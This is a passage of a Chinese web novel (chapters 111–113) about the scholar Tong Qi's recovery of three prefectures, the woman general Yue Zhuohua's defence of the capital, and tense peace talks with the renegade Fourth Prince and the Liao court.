消息快马加鞭传回开封,所有的百姓们喜得冲出街道,各种舞动着,大肆庆祝。 就连皇帝也顿时不说什么退位让贤的话来,当场便大赞自己的眼光如何优秀,这童山长果然没有辜负他如何如何,然后痛饮了三日,成功中风,躺倒在了后堂之中。 众官员:…… 大皇子、三皇子:!!! 京都内,自然也得知了这个消息。 耶律修哥听闻后大怒,在阵营里摔打一番,怒骂着四皇子与耶律隆绪等人的无能。 可如今他攻城也不得寸进,骂了半晌,也只能讪讪的闭上嘴来。 也不知那城里的女人什么来头,一个月,他带着人攻了数十次,愣是一次都没有登上过城楼,可手底下的士兵们,却越来越少。 他们一靠近,那天罚就炸。 不靠近吧,对方又屡屡派着人来干扰,让他们难以休息。 营帐是退了又退,防了又防,到最后都彻底摆烂不管了。 来便来吧,反正也伤害性不大,就是这侮辱性,倒挺强。 “难道就没有什么方法能使得他们不用那天罚吗?或者找人学会他们的能力,咱们自己也能用?这玩意儿,到底是个什么东西啊?” 他喃喃道,郁闷不已。 可注定这个问题整个军营里都没有人能够给他解答了,即便是那好不容易抓过来的汉人军师,也已经归了那岳灼华,去给对方做军师去了,简直比他自己还了解他自己。 真是气煞人也。 岳灼华整理着手下的信息,认真的核对着最近几次的粮草消耗。 “城中的粮食已经不多了,咱们必须想办法抢粮,或者干脆从耶律修哥的手中拿到粮食才行,否则不足五日,城内百姓便会受不了。” 许是女性的原因,她与其他将军的带兵方式,很是不同。 谨慎细致,体贴而周全。往往谋定而后动,不出手则已,出手,必定要有所得。 一开始,还有几个士兵不服气她女人的身份,认为其哪里能够领军?可几次战役下来,他们发现,自己阵营里几乎都是极少的伤亡甚至无伤亡,便能够轻易达到目的,慢慢的,自然便心服口服。 谁也不想上战场填坑,能有爱惜士兵的主将,这怎么不是一种福分呢? 且岳灼华吃穿与士兵们皆一样,相当没有王侯文臣之后的架子,言谈吐露也没有那扭扭捏捏的劲儿,每次都是确认能胜,才会派人出去,轻易不耗损精力,充分赢得了不少人的尊重。 而今,他们眼中早已经没有了性别之分,而只是将她当成了与其他人没有什么不同之处的将军来看待。 见岳灼华思索着粮草的事情,下方不少人也跟着发愁起来。 一个侦察兵迅速走入,上前禀告道。 “报!将军,城外五十里外,发现有契丹人车马的痕迹。” “五十里外?他们去哪里做什么……” 岳灼华眼睛陡然一亮。 粮草支援? 怪不得那耶律休哥到现在都不走,明显看着已经打不赢了,还是耗在这里,原来是有着后招啊,看来他们死撑着,就是为了这粮草的到达,好彻底困死京都。 既如此,那便断了他的后台。 岳灼华眼神一凛,亲自率领一批人前往,截粮草。【你现在阅读的是 】 110-120 第111章 第111章动点地图 京都被围困数月,好多人连饭都吃不上了。 而这群契丹人,却舔着脸还想要享受粮草的补给?想得美! 岳灼华心里发了狠,即便是抢不到,也绝不会让这堆粮食落入对方的手中,哪怕一把火直接烧了呢。 也总比资敌要好些。 夜色正浓,恰是偷袭的最佳时机。 眼看着一辆辆 厚重的辆车驶过官道,被运往京都的方向,岳灼华带着人蹲在草丛中,微微抬起了箭哨,对准了核心领头的人物。 “倏”的一声,随着对面有人中箭倒地。 她抬起两根手指,轻轻的勾了勾,一批箭雨顿时倾巢而出,正中敌方胸膛之处。 血,染红了这片土地- 蓟州府,在经历了快长达半年的动乱后,其终于再次重回大奉朝的控制之中。 街道上一片混乱,庶务冗杂堆积在一处,等待着人处理。 童启已向朝廷写了信求助,令皇帝陛下尽快补充一批基层官员来此,支撑蓟州府的建设工作。 可目前人还没有送到,调令也正在筛选中,于是这些事务,便直接顺理成章落在了童启身上。 若一个州城倒也还好,关键是三个州城一起打下来。 单靠他一个人管理的话,那便有些难了。 视线滑落到一旁的柏大将军身上,对方忙举起手来,一脸无助。 “别看我,我是武将,不懂这些庶务,你知道的。” 旁边的崇晓林和童继本更是彷徨。 “我们也不太了解这些,实在是帮不上忙。” 童启:…… 好吧,他这个时候,突然有些后悔没有多带几个徒弟来了。 早知道的话,就把这当实习任务,让孩子们一起来历练得了。 如今倒好,隔着千里之远,即便调,也不好调。 鬼知道这些契丹人到底在想什么,三个州城里基层的官员们几乎被杀了大半,反倒是率先投降的高官们被留了下来,仍存活了不少。可他们敢留,童启却未必敢用。能在契丹人面前逢场作戏,谁知道在他面前,是不是也是逢场作戏呢,可不用吧,当地的人才储备量又少的可怜,没办法,童启只得临时写信,给【龙胜书院】的山长宗广济,让其带着一批学生们来,暂时补上缺位。 相较于其他书院,龙胜书院离蓟州比较近一些。 走海运的话,到达的速度还要更快。 学生的质量也不错,不少皆是秀才往上,担任这种基层工作,那是妥妥的手拿把掐。 宗广济也十分给面子,在收到信的第二日,便带着不少的学生亲赴战场,配合童启的工作。 一年多没见,宗山长俨然老了很多,但骨子里却依旧是那个热情爱踢蹴鞠的小老头。 见面第一句话便是,“童山长,什么时候咱们两个书院再来比一场蹴鞠赛啊!” 似乎之前曾经经历过的尴尬之事,都在这句笑谈之中,一泯而过。 童启也没有追究以往事情的意思。 开书院嘛,这世界上多个朋友总比多个敌人好,因此也朗声应答了下来。 “好说,等事情完结后,咱们有的是时间。” 有着龙胜书院的学子们帮忙,三个州府的管控很快便恢复了正常。 甚至在童启的遥控之下,还远比之前要好得多。 他一个个不厌其烦的给新上任的学生们,进行着紧急的培训工作。 “与百姓们交谈,要先解决他们需要的问题,少斥责,少用文绉绉的话语,越是接地气好懂越好,政令要上通下达,清晰明白,有不懂的千万要问,莫要擅作主张。因为你们负责的是一个县城,甚至是一个州府的百姓们,所以一定要对自己说出去的每句话负责,我和你们山长会一直在蓟州府的府衙内坐阵,有什么要问的,尽管派人或者写信快速送达,我们会立即回复。” “轻易不要和当地的百姓们起冲突,实在是有人闹事的话,便以沟通为主,我会派三千军驻扎在每个州府之中,有什么需要军队帮忙的,尽管去和将领们沟通,不要怕。眼下最重要的有两件事,一个是安抚百姓们这段时间在契丹人管控下的心理问题,及灾后重建,二则是提前准备好秋收的抢收工作。” “因为人员变动,几个州府的百姓们都要重新登记造册,有人口大规模减少的,一定要上报给我,去核验查实,千万注意不要让内奸混入其中,税收之类的你们先别管,等朝廷的任命下来,自有新的官员们会去负责这件事。对了,还有不少人受伤买不起药的事情,我已经派王小花带着不少城中的大夫们巡回坐诊,你们记得提前通知百姓们去看病,费用由州府一同负责,过时不候,切记维持好秩序。” “还有,提前做好防疫工作,与战亡百姓们的安置问题,城中定时定点消毒,莫喝生水,若有不清楚的,就去问王小花,她会负责此事……” 几乎是掰开了揉碎了去解释每一条任务的原因。 童启细致的讲解着,比自己的学生还要上心。 当然,有部分的原因也是因为,若真是华夏书院的学生,这些基本常识压根就不必说,大家都懂。 可换到龙胜书院,你就不得不让他们都听明白,记下来,才敢彻底放心。 龙胜书院的学生们认真听着,满眼皆是崇敬。 他们大多都是听闻过华夏书院童启名声的,甚至有一部分人还曾考过华夏,没有考上。 今日听其上课,远比书院中的老师要灵巧细致,博闻广识。 随口一句话,便已经让不少人受用终身。 若今后真的有进入朝堂当上官的一天,那么今日这些培训,便是他们日后积累的初始经验,怎么可能会不感激? 而作为第一批接触这些新人官员们的百姓们,他们打心底里,也率先感觉到了浓浓的不同之处。 不过是从契丹人的控制之下逃过一劫罢了,旧的官员死了,新的军队入驻了城内。 生活仍旧是生活。 他们早已经习惯了,不管上面的老爷换成谁,都仍旧守着规矩谨小慎微的过日子。 因此在军队入驻的第一日,一群乡党百姓们便颤颤巍巍带着粮食,主动上贡,以求平安。 可没想到,却被门口的守 卫军惶恐的拒绝。 “抱歉,军中不允许收东西,这些就留给你们自己吃吧。” 不允许收东西? 为什么? 百姓们迷茫的愣在原地,这从古至今,从未听说过军爷不进城抢掠,收粮收银的,这怎么还推辞起来了? 试探着再偷摸塞了几次,仍旧被拒绝,对方的态度越发坚定,似乎真的是有了新规矩。 一下子不知道如何是好的几人,只能将这粮食原路搬了回去,询问向当地的实习小县令,可实习县令也没遇到这种经验啊,只听闻是规矩,便认为应是常识,不仅打消了他们的顾虑,让他们不必再去送,还贴心的帮忙统计着他们家中的损失情况,说是要贴补。 不过丢了几个锄头而已,还要贴补? 这辈子没受过这种待遇的百姓们简直受宠若惊。 而更令他们感到惊讶的是,竟然有医生在城门口义诊!不收钱,还免费开单子,帮助他们拿药。 说是所有的医药费,由州府报销! 村里有不少旧疾的人皆被一副汤药给治好了,连带着断了的腿,被不知道什么玩意儿绑了几日,竟然也能够平稳下地了,简直神奇。 街道上,每日多了很多巡逻的人,再也没有那些混混闲汉们肆意欺辱找事,惹是生非了。 不少店铺也如同蜗牛缓缓伸出了触角一般,试探着重开了门,再次恢复了经营。 而最最令他们感到邪门的是,秋收抢收,忙不过来了,实习的小县令大人挥了挥手,竟然便有一群军爷撸起袖子,下地陪他们一起割麦子! 军爷,割麦?这画风也太奇怪了吧? 甚至收完麦子后,他们连一粒米都没拿,只是喝了几口水,就离开了。 邪门,实在是太邪门了! 可他们,深爱这种邪门。 若每个军队都能够如此,那就算契丹人年年打他们,他们也认了! 不少村落里的年轻汉子们也不再藏着掖着,害怕参军了,反而自顾自的拿起镰刀开始训练起来,说是下次契丹人再来犯,他们也要像是柏家军一样,勇敢的将他们打跑! 当然,更多的,还是一些有小孩的家庭,费尽力气,只是想让自家的小孩去读书,将来也做一个文人,一个像是华夏书院童启童山长的文人! 那个文可管理三州之地,细致妥帖,武可带领军队,愤而夺回州城的,如同传奇一般,不少人耳朵快听出茧子的神奇人物! 当然,童启的名字也随着这场战役,顺理成章传遍了三大州。 几乎所有人都知道,是有个书院的山长,叫做童启的,帮忙他们赶走了契丹人,成功夺回了原本的领土。 而随着系统声望值的快速增加,升级后的新规则,也应运而出。 ——童启可以查看自己手下的人才状况了! 系统人才库里陡然多了两张大奉朝的动点地图。 一张显示着童启名声在大奉朝的影响力,由浅至深。红色的部分代表着他如今的声望值,让多少人知晓了华夏书院,知晓了童启的事情。另一张则显示着童启阵营里的人才分布地点。 童启率先打开那张显示声望的地图,只见其上红白交织。 其中,以河南府、京都、蓟州、涿州、瀛洲这几大州最为鲜红,几乎与血液一般,广州、环县等地也已经有了片片红色,可是却只有浅红的模样,并不深刻明显。至于其他州城,那更是零星点点,如桃花一般。 散碎不已。 而童启要完成的桃李满天下任务,便是让这个地图上,布满通红之色。 人才归属也要最少到达三千人才可。 至于现在能够归属于童启旗下的,不过才不到两百人。 而被系统所承认的人才,才五十多。 童启看着那张显示已方阵营定位情况的地图,几乎是瞬间,秒get到了其用处,这用来查看是否真心归顺,以及其他人的存活情况与行动轨迹,也太完美了吧?像是广州、环县等地闪烁的,那一定便是吴韧、郭胜开、许明奕三个了,而单个在海上飘着的,不是那走了许久的曹家长子曹时序等人,又是谁? 他还活着? 幸好幸好,他还活着,看地点,已经快到达南美洲了。 牛逼。 这玩意儿好啊,起码让他不必害怕再有徒弟莫名其妙走丢了,以后找人,也方便了许多。 童启美滋滋的关闭了人才地图模式,深呼吸一口气,终于向四皇子递上了和谈邀请。 三州拿回来,如今只剩下黄龙府,而黄龙府不能强攻,只能和谈。 四皇子早已经等了许久,见到这帖子,顿时愤怒不已。 “这童启还敢过来,难道就不怕我直接杀了他吗?破坏了我那么多布局,竟还敢来?想进黄龙府是吧,让他自己一个人进来,不准带任何禁卫军,否则的话,不见。” 不带一个人,孤身前往黄龙府。 这条件传到蓟州城,不少士兵将领们率先感到了愤怒。 “简直欺人太甚,他们现在有什么资格跟我们谈条件,爱谈不谈,大不了,咱们直接打过去!” “对,反正打一个城也是打,打两个城也是打,索性打到他服为止!” 童启冷静的拦下旁边人所说的气话。 别说,四皇子这么猖狂,就是认定了他们不敢动手。 其他三州他们可以武力收回,那是因为本身占据这州城的,就是契丹人,他们杀再多,也站在大义之上,可黄龙府不能靠武力镇压,因为如今的黄龙府管理人,乃是四皇子。 皇帝可以杀子,他们却不能犯君,这是每个文人必须遵守的规则。 否则平定完黄龙府之后,他便可以洗洗脖子,等待朝廷里官员们的围剿了,光是守皇党一派便不可能容忍他,即便是三皇子,也会迫于压力,不敢启用一起亲手杀了他弟弟的人。 那他和他徒弟的仕途,才算是彻底完了呢。 因此,他们只能谈。 但却不能被四皇子牵着鼻子谈。 童启摩挲着手中的杯盏,思索着回道。 “既如此,看来四皇子是还不急,那便让他等一等吧,相信,过段时间,对方便会有新的想法了。” 等?等什么? 几个将领面面相觑,不知道到底是何意。 而隔了几日,京都城里便缓缓传来了新的战况消息。 岳灼华带人切断了耶律休哥的粮草,还烧了对方的大营,逼迫的耶律休哥不得不率兵撤军,如今正北归逃窜中。 众人:!!! 京都守住了?京都守住了! 只靠着一个文人和一个女将,便成功守住了? 此消息一出,震撼程度不亚于童启带着人收回了三州之地一般难以置信。 四皇子怒不可遏,大骂耶律修哥无能,连个女人都打不过。 他甚至亲自放了三万大军过去,可结果呢,耗时半年,却连一个京都城都攻不下来,搞笑呢吗? 就这,还辽国大将呢? 而且看看他带的这兵,不过半年而已,三万人,竟然直接锐减到了不足五千,这是攻城战还是伏击战啊? 怎么会打的如此差劲? 辽国上下失望不已,而大奉朝朝野内,却一片欢欣。 事已至此,优势与劣势算是彻底调转。 四皇子不谈也没有可能了,辽国太后多番催促,让其帮忙争取更多的利益与土地,甚至可以免赔偿款,以及上贡的银钱,可四皇子心里清楚。 不可能的。 若是来的是其他文臣,那一切好说,哪怕他们打败了,依旧可以用威胁换利益。 但换做童启,对方不可能愿意丢失任何一寸土地,他宁愿打,也不愿意低头退让。 天知道这个刺头是从哪里冒出来的,四皇子纠结许久,终于还是没办法,向蓟州递上了再次邀请和谈的提议。 这一次,他没有再提什么离谱要求。 允许童启带人进入黄龙府,但最多只能带两百人。 而柏弓良等人也后知后觉,终于知道了他们等的是什么。 “不是,您怎么知道京都城会被守住呢?” 他们好奇的追问道。 童启挑了挑眉。 一个神射手的将领,谨小慎微,处事周全,再加上火药的协助,赢,只是时间问题罢了。 怎么可能会输? 况且还有杨舟万在呢,对方满口称赞,几乎对岳姑娘毫无怀疑与猜忌,有着文人与武将完美的两相配合,京都能守住,那是妥妥的。 徐将军坐在自己的营帐里,看着这一次的战况预测,总算是彻底的心服口服。 明明是逆天局开场,几乎只是输的多和输的少的区别罢了,可童启一个文人,只轻飘飘的如同下棋一般,拨动了几个子,便达到了翻身的效果。 这和残血秒杀有什么不同? 他虽不喜抢功的人,但抢的是个文人,也便罢了,反正走的也并非一条路,没什么妨碍的,自然也乐得不管事,慢慢养伤。 可王常侍却不一样,他为的可不是大奉朝,他为的一直是从龙之功,一飞冲天,永葆富贵。 那么,这个一直干扰他达成目的的童启,便十分可恶了。 守了校场多日,王常侍几乎是日夜未眠,这才总算是找到了空隙,将一封信越过守卫,塞到了黄龙府隐藏的信使手中。 他站在篝火旁边,低声说道。 “把这个交给四皇子,这里面有童启的弱点,还有他手里那关于天罚的秘密。” 对方浑身一滞,连忙领命便连夜离开了蓟州。 关于□□,其实并不难搞到。尤其是在军营里,不少人都要习惯操作与制造,才能够供应的上战场的使用,为了让他们注意安全,自然有部分人是清楚其内原理的,而王常侍这样的地位,只需要轻轻的许诺一些东西,便可以从人的口中撬出想要的东西来。 更何况是配方? 倒是童启,任他如何去想,想破了头,只怕也不会想到当朝皇帝身边的红人太监,竟然会不惜投敌,出卖国家最大的优势, 去达成自己的目的。 因此毫无防范,便从阵营里带走了童继本、崇晓林等人,共一百二十多名护卫,便坦坦荡荡的进入了黄龙府内。 一场鸿门宴,悄然开启,正等待着他的亲临。 他生命中遇到的最大危险事件,也在此刻,初露头角。 第112章 第112章互相试探 黄龙府位于大奉朝最边缘的一角。 与辽国,只相隔一条河流。 素日里,遇到的攻击一向很多,所以整个城池的防御指数也几乎点满了。 高大的城墙远比京都还要硕大几分,皆是由厚重的青石垒叠而成,即便仰着脖子看,目光也得望到天上去,呈一百八十度才能够看到至高点上的人影,足见其易守难攻的特性。 主干道上,宽阔开敞,可并列行驶两辆马车,也毫不拥堵。 童启带着使臣骑着马,缓缓驶入州城之内,而随着他的彻底进入,身后的城门再次关闭,发出沉重的吱呀声,如一道深渊,将他们狠狠吞噬了下去。 静,实在是太静了。 像是压根没有什么人存活在此处一般,这是童启对这座城池的第一反应。 而很快的,他便想起了为什么如此的原因。 因为这整座城的所有原住民百姓,皆被四皇子带着契丹人屠戮一空了。 用诈骗的方式。 难怪两侧的夹道上能见到的汉人长相如此之少,而与之相反的,契丹长相的人却那么多。 且个个还充满敌意。 童启冷眼看着,虽能理解对方的仇恨原因,毕竟这次夺回三座州城,光是杀得契丹人,就有上万名,可他却一点也不觉得自己哪里做错了。 战争没有胜者,一旦掀起,不是你死,就是我亡。 这是所有人的共识。 而作为大奉朝人,他自然是希望自己方死的人少,而对方死的人多。 这就如同看见自己的家被蟑螂一点点倾占一般,总没有令主人腾位置让给蟑螂住的道理。 此次和谈,被设在了黄龙府县衙内。 自打这座城池被占领后,这里,便成了四皇子的官方住处。 领头的人将他们送入府中,然后便退了下去,似乎是故意晾着他们一般,大概过了几盏茶的时间,才有人踩着木屐,慢悠悠的走了出来。 随性散漫,似乎毫无重视之感。 童启抬眸注视着走进来的人。 这还是他真正意义上,第一次见到四皇子。 对方单看外表,与三皇子差不了几岁,可相比于三皇子“清澈见底”的单纯,这人的眼神却锐利如鹰,像是历经世事后的沧桑般,警惕不已。 俊美的五官浓墨重彩,稍稍带着一种混血的气质。 只看眉眼,倒是和年幼的赵天阙有几分相似的痕迹,可当视线滑落到对方整张脸上时,却一点也没有什么重合的感觉了。 天阙天真烂漫、灵巧善良。 可四皇子却只剩下疲惫与尖锐,自带上位者的骄矜。 任谁也不会将这俩人,轻易联想到一起去。 似是没料到童启会如此年轻,对方见到他后,先是愣了一下,然后才用那蔑视的目光,冷哼着说道。 “那老头子是越来越荒唐不着调了,什么阿猫阿狗也能被指派为使者,呵,小子,你就是童启?这一次和谈,你说了,能算数吗?” 明显的质疑与挑衅,令身后的崇晓林与童继本目光一厉。 童启冷静的站起身,抬手制止住了两人的动作,回答道。 “自然,只要是利于大奉朝的条款,我想,我还是说了算数的。倒是四皇子,不知您代表的是哪一方呢?” 是大奉朝?还是契丹人? 若是契丹人,那又是什么身份? 投敌内奸,亦或者……戎狄之臣? 童启的回复令四皇子脸色陡然一黑,他嘴角抽动了一下,咬牙道,“你倒是牙尖嘴利。” “不敢。” 简单的两句交锋,已经让彼此稍稍熟悉了一下风格。 饮过茶后,便重新坐回到了桌案上,开始了正式的谈判。 第一日,一般都是坐地起价,双方都没想着迅速达成一致的可能,因此提出的要求也是各有各的离谱。 童启道,“我希望契丹可以承诺十年内,不进犯大奉朝的任何领土,且完整归还黄龙府以北三千里,包括黄龙府在内的所有领域。撤军,并向我大奉朝称臣。且赔偿此次我方在战争中所造成的一切损耗,拢共是白银四十五万两,以及牛马羊10万匹……” “这绝无可能!” 不等四皇子开口,旁边的契丹使者便已经怒骂出声。 在场的几个契丹人脸色涨红,紧握着双拳,似乎下一秒便要将童启扔出屋内一般。 四皇子轻声咳了咳,压制下几人的情绪。 他道,“我希望大奉朝可以公开承认辽国的合法正统性,并将蓟州、瀛洲、涿州等地,割让给辽国,作为诚意,我们允许大奉朝送一名公主前来和亲,但大奉朝皇帝需要每年支付给辽国七十万两的岁贡,作为停止战争的维护费用,且免费公开天罚的秘密……” “这简直荒谬!” 崇晓林等人忍不住反驳道。 到底是谁打赢了啊? 明明是输的一方,怎么会有胆子提出这样厚颜无耻的要求? 大不了就继续打,打服为止,让他们割地赔款? 这简直倒反天罡嘛? 绝无可能! 相比于无比冷静的四皇子与童启,他们身后陪同的使团们反而更加怒不可遏,纷纷咬牙切齿,一副火花带闪电,恨不得直接将对方掐死在半空中一般。 “那看来是没得谈了。” 童启耸耸肩,无奈的说道。 “童山长还是冷静一些,若只是赌气,没有任 何意义。倒不如先写信回去,问问老皇帝的好,说不定你不愿意,可对方却觉得,我方提出的这些,已经是极好的条件了呢?” 不得不说,儿子确实了解爹。 四皇子这话说出口,童启还真的无法辩解。 今日这和谈,也就得亏来的是童启,若是让老皇帝本人亲自派人来,只怕还没谈,便会匆匆按照对方的想法,签字画押。毕竟比起土地来说,老皇帝更在乎的,还是他的皇位与生命。 只可惜,有童启在,这事便绝不会发生。 “我方?有意思。” 他笑了笑,抓住四皇子言语中的这个漏洞,悄然转换了一副姿态,不再是公事公办的模样,而是用更加私人的语气,叙旧般说道。 “出行前,陛下曾叮嘱我,让我好言相劝,莫伤及人君,毕竟这乃是家事,与外人无关,到达黄龙府后,殿下又一口一个四皇子,我还以为您依旧是大奉朝人呢,没想到这么快,竟然便已经转换了身份?” 旁边的契丹人顿时敏感的竖起耳朵,反复打量起两人来。 似在评估他们的关系。 四皇子并未上套,神情淡漠的回答道。 “人不可能忘记来时路,我之所以记得,并不是我对大奉朝有多感激,多留恋。相反,我是让自己刻骨铭心大奉朝皇帝对我所造成的痛苦有多么深,这样才能时时刻刻提醒我,不忘报妻子孩子被杀害之仇!” “杀害?谁说您的妻子和孩子都被杀害了?您亲眼见到了吗?” 童启好整以暇的反问道。 四皇子表情陡然一变。 他阴沉着脸,警告。 “童启,我劝你还是不要用这些来试探我的底线。” “这怎么能说是底线呢?难道您就不好奇?”童启无辜的陈述着。 整个屋子里的氛围陡然一变,四皇子微眯了眯眼睛,阴森森的看着他,抬手令所有人都先下去,他要和童启单独聊一聊。 旁边的契丹使者自然不愿意,难以置信的大喊道,“你这是违规,将军和太后不会允许的!” 四皇子直接一把抽出对方腰间的匕首,横斜在其脖颈上,凌厉的刀锋划伤一指寸的血痕,吓得其颤颤巍巍不敢再言,忙被人扶着,便抬了下去。 童继本和崇晓林担忧的看向童启本人,他摇了摇头,依旧坐在椅子上,慢悠悠的喝着茶。 冷静不已。 “不必担心,你们也先下去吧,我也正好有一些事,要和四皇子单独聊一聊。” 他说道。 抬眸看向四皇子,两个人僵持着,等待所有人出门口,这才重新入坐。 “你应该知道欺骗我的后果?” 四皇子压低了声音,紧紧盯着他的双眸,一副猛兽扑食般的模样,浑身的肌肉都一寸寸绷紧了。 童启环视四周,见到屋内只剩下他和四皇子,这才慢悠悠的抛出这一次最大的筹码。 “四皇子妃死于大雨之日,难产,生下孩子后没多久,便身陨了,当时在场的人除了宫女,还有一位意外闯入的秀女。其误打误撞受到了四皇妃所托,将孩子交给了徐常侍,徐常侍暗地里将其送出宫,本意是让齐承胤齐大人抚养长大,再悄然用火焚烧宫殿,泯灭一切痕迹。可由于你惊痛之下骤然抢了马叛逃出京,投靠了契丹族,皇帝大怒,命令彻查,这才不得已兜兜转转,将其送出了京城。” 四皇子几乎屏息的听着,既怀疑又侥幸。 怀疑的是,这事连他都不知道,更从听说过。且就发生在皇帝眼皮子底下,怎么可能做到? 而侥幸的却是,童启提出的这两个人,还真的都是暗地里曾得过他恩惠的,若四皇子妃真的诞下了孩子,向人求助,找他俩,的确合情合理。 以童启的身份,绝不可能知道这件事。 他忍不住心脏砰砰直跳起来,激动的胸膛发痛,连声追问道。 “你的意思是我的孩子还活着?他在哪儿?还安全吗?” 童启敛下眸,摩挲着手中的杯盏。 “她的确还存活在这个世界上,我受人之托,将她隐藏在一个极其安全的地方,取了个全新的名字,并且答应了,会将她秘密抚养长大。您若不信的话,可以询问齐大人与徐常侍。” 不知道是哪里出了错,几乎所有人都本能的认为,四皇子妃所生的,一定是个儿子。 因此就连四皇子都没有询问性别,便先天的认定了是个男孩。 童启没有纠正的意思,顺着对方的话语往下说。 四皇子思考了一会儿,提防的询问道。 “所以,他现在在哪里,你要拿他,来威胁我?” “不,我只是想要拿他跟您谈判。”童启说道,“四皇子,非我族类,其心必异。难道您真的要为了一己私仇,将整个大奉朝的利益置之度外,心向外族吗?您也清楚,现在的契丹并不是大奉朝的对手,即便想要侵占,也不是最佳的时机,但是为了仇恨,您亲手推动了上百万人的死亡,真的值吗?” “和谈,还请您不要插手。黄龙府我必是要收回来的,契丹人狼子野心,不是好的合作对象,您若是真的有冤屈,请亲自和皇帝陛下去谈,不要拿江山与百姓开玩笑。” “我是开玩笑?”四皇子仰天大笑道,快要将眼泪给笑出来。 “你一个平民,哪里会懂的我的苦痛?是,他是皇帝,我是儿臣,就因为如此,不管是爹的身份还是君的身份,我都不能有任何的反驳!哪怕是他的错,这份错也要我去承担!凭什么?就因为母妃体内留着外族人的血,我从小即便是付出十倍百倍的努力,也难以得到他一个笑脸!而那群蠢兄弟们,翻个跟头,都能逗得他乐呵呵?皇位,我不能争,不过一本账本而已,他就狠心将我的朋友们,我的师长,我的妻子,岳父全部流放追杀!难道,他就是一个合格的父亲与君王吗?虎毒尚不食子,可他呢,对我又何其残忍?若能选择,我宁愿自己从未生长在皇家……” “不是我要动手,是他逼着我动手。你明白吗?而你现在却想要用轻飘飘的两句话,抹杀我的全部冤屈,让我放他一马?凭什么,试问我凭什么?” 眼看着四皇子越来越激动,童启忍不住皱起眉头,反问道。 “所以,这些事,与那些被你残忍屠戮的无辜百姓们,又有何相关呢?” 他失望的抬眸看着对方。 “你说陛下对你残忍,可你对其他人又有何不同?那些被你诓骗打开城门的百姓们,他们也是把你当成了君父啊!可你呢,却用刀剑指向手无寸铁之人。若你真的有仇恨,难道不是应该去惩罚犯错的人吗?为什么要对准无辜者?四皇子,你这并不是复仇,你只是欺软怕硬,只敢欺负比你羸弱的人罢了。” 这句话明显戳中了对方的痛点。 四皇子大怒,一把拽起童启脖颈前的衣服,大口呼吸着,就像是快要竭泽而死的鱼一般。 额头上,青筋直冒。 可童启却毫不避讳,死死的紧盯着他,并无退让之意。 “你胆子确实不小。” 半晌,四皇子才几乎咬着牙说出了这句话,松开了手中的衣领。 “我再给你一次机会,我的儿子在哪里?” “您退兵,和谈,我会让你见他一面。” “我凭什么信任你?” 童启从怀中将赵天阙金黄色的襁褓掏出来,展示给四皇子看。 对方顿时神情一肃。 这花纹的确是他亲手给孩子挑的,乃四皇子妃生产前最喜爱的花色,她一针一线,亲自缝完了孩子的襁褓,充满期待着畅想着未来的生活,可却还没来得及看见,便被打入了冷宫之中。 看来,这人确实没有撒谎。 他的确是知晓自己儿子的下落,或者了解其中的一些信息,才敢如此讲。 “好,我可以答应你,但是,我也无法保证契丹那边会对此做如何反应,总之,我会尽量争取,但在那之前,你不能离开。更不能让皇帝知道我儿子的事情。” 四皇子不得不退让一步,道。 童启爽快的点头,“自然,我也怕皇帝知道后砍我的脑袋呢,这件事涉及的人员颇多,为了性命,也不会有人说出去的。” 四皇子深深的看了他一眼,心中权衡着,无奈,只得将其暂时安排住在了府衙后院内。 原本,他并没有如此在乎童启这个人。 即便对方死在黄龙府,或者因为找不到客栈,被契丹人所杀,那也和他无关,大不了,他再让大奉朝再派个使臣过来便是。 毕竟大奉朝什么都缺,就是不缺文官。 可在知道对方有可能掌握自己儿子的信息后,他犹豫了。 万一呢,万一真的像他说的,只有他知晓自己儿子的所在地,那岂不是杀了他,就彻底失去了此生和儿子相识相认的可能? 四皇子不敢赌,也不愿赌。 他宁愿将对方层层保护起来,去想办法撬开那张嘴,也不愿意冒任何风险。 这个世界上,他只有儿子这么一个亲人了,若也没了,那他真的不知道,这世界上还有什么可值得他留念。 不过四皇子也并没有完全相信童启的话。 他暗地里连忙派人前往京都,去调查这件事,确实是否属实,还想办法找人去伊川县,寻找曾出现在童启身边,有过亲密接触的小男孩,大概一岁左右,与他长相相似。 希冀着用这种方法,去寻找自己儿子的位置。 可这注定是大海捞针。 连信息都微妙的出了差错,又怎么可能会找得到? 当然,童启也没料到,四皇子会真的在乎天阙的存在。 他回到后衙,反复思考着对方的反应,觉得似乎不是伪装,于是便静等了几日,想在确认了四皇子的回复后,再进行下一步的计划。 可在他与四皇子谈判的这几日中,王常侍所递出的那封密信,也兜兜转转,到达了目的地中。 只可惜,收到的却并非是四皇子。 而是辽国的首领,耶律隆绪。 四皇子在防着契丹,可契丹,就真正的相信了四皇子吗? 怎么可能? 从一开始,两方便清晰的知道,这只是一份互惠互利的合作。 契丹人只是想把他当作一个合理向大奉朝出兵的引子,最完美的叛徒与信息提供者,不然他们凭什么借兵帮他攻打黄龙府,自然是自己也有利可图? 第113章 第113章是拉是杀 辽国。上京临潢府。 自收到三州相继沦丧的消息,以及耶律修哥即将撤兵京都的书信后,皇城里的氛围便一天比一天沉默与压抑。 所有朝臣都像是拢入了阴云密布之中般,连呼吸都是轻的。 任谁付出一年多的兵力、物力,却得到这么个结局,只怕都会难以接受。 尤其是他们还差一点就成功了! 只差一点! 这就显得如今的败势如同梦魇一般,就连曾经的辉煌都不禁令人怀疑起是否只是一场镜花水月。 虚假认知。 太后萧绰备受打击,与自己的儿子耶律隆绪相聚在书房内,复盘着这几场的失误。 “天罚,天罚,又是天罚。那天罚到底是个什么东西?虽然哀家很是不想承认,但那大奉朝若是没有这东西的帮助,怎么可能顺利夺回三州?我辽国的好儿郎个个骁勇健硕,哀家将整整三万人交给了耶律修哥,可他呢,竟然半年了都没拿下京都,还只带着三千多人就灰溜溜的跑回来了?简直可恶!那东西到底是什么,难道我们就这么束手无策的看着?没有任何可以克制的方法吗?” “如何克制?母后,我们甚至连那东西是什么,都不清楚。” 耶律隆绪无奈的反问道。 这玩意儿就像是突然出现似的,他们动用了无数插在大奉朝官员内的暗桩,都无一人听闻过其来路。 连个具体的名称也无,只是用“天罚”来代称。 可这真的只是巧合、天命吗? 鬼才会信。 他敢断定,这背后绝对是有人在人为控制的。 只可惜,目前还没有任何消息内幕罢了。 “那四皇子,还没有回信吗?不是说让他想办法安插人进入军营,打听天罚的来源?” 萧太后烦躁的摆了摆手,“别提了,那小子蠢的很,一问三不知,除了柏弓良,没几个相熟的,更别提打听信息了。等等,你说……他会不会其实是伪装的,只是留一手,故意不告诉我们?” 萧绰迟疑道。 连日的挫败,已经让她耐心告罄,甚至开始怀疑起四皇子的衷心。 